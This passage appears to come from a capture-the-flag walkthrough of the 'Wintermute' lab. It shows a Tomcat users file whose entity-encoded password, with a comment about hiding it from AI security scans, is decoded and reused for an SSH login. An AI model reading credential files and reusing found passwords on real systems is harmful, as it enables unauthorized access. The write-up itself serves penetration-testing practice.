root@neuromancer:/usr/local/tomcat/conf# cat tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
Eng.,

Tomcat is still using basic auth. I encoded the password so the AI's security scans don't flag it.

Is this what Bob keeps talking about, "Security by obscurity?"

Ed Occam//Sys.Engineer I//Night City
"Harry, I took care of it" - Llyod Christmas
-->

  <role rolename="manager-gui"/>
  <user username="Lady3Jane" password="&gt;&#33;&#88;&#120;&#51;&#74;&#97;&#110;&#101;&#120;&#88;&#33;&lt;" roles="manager-gui"/>

<!--
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
</tomcat-users>

The decoded string translates to '>!Xx3JanexX!<'. Since lady3jane is a valid account on the server, I tried to SSH to the server using those credentials... and it worked.

root@kali:~/Walkthroughs/wintermute# ssh -p 34483 lady3jane@10.183.0.211
----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
----------------------------------------------------------------
lady3jane@10.183.0.211's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

94 packages can be updated.
44 updates are security updates.

lady3jane@neuromancer:~$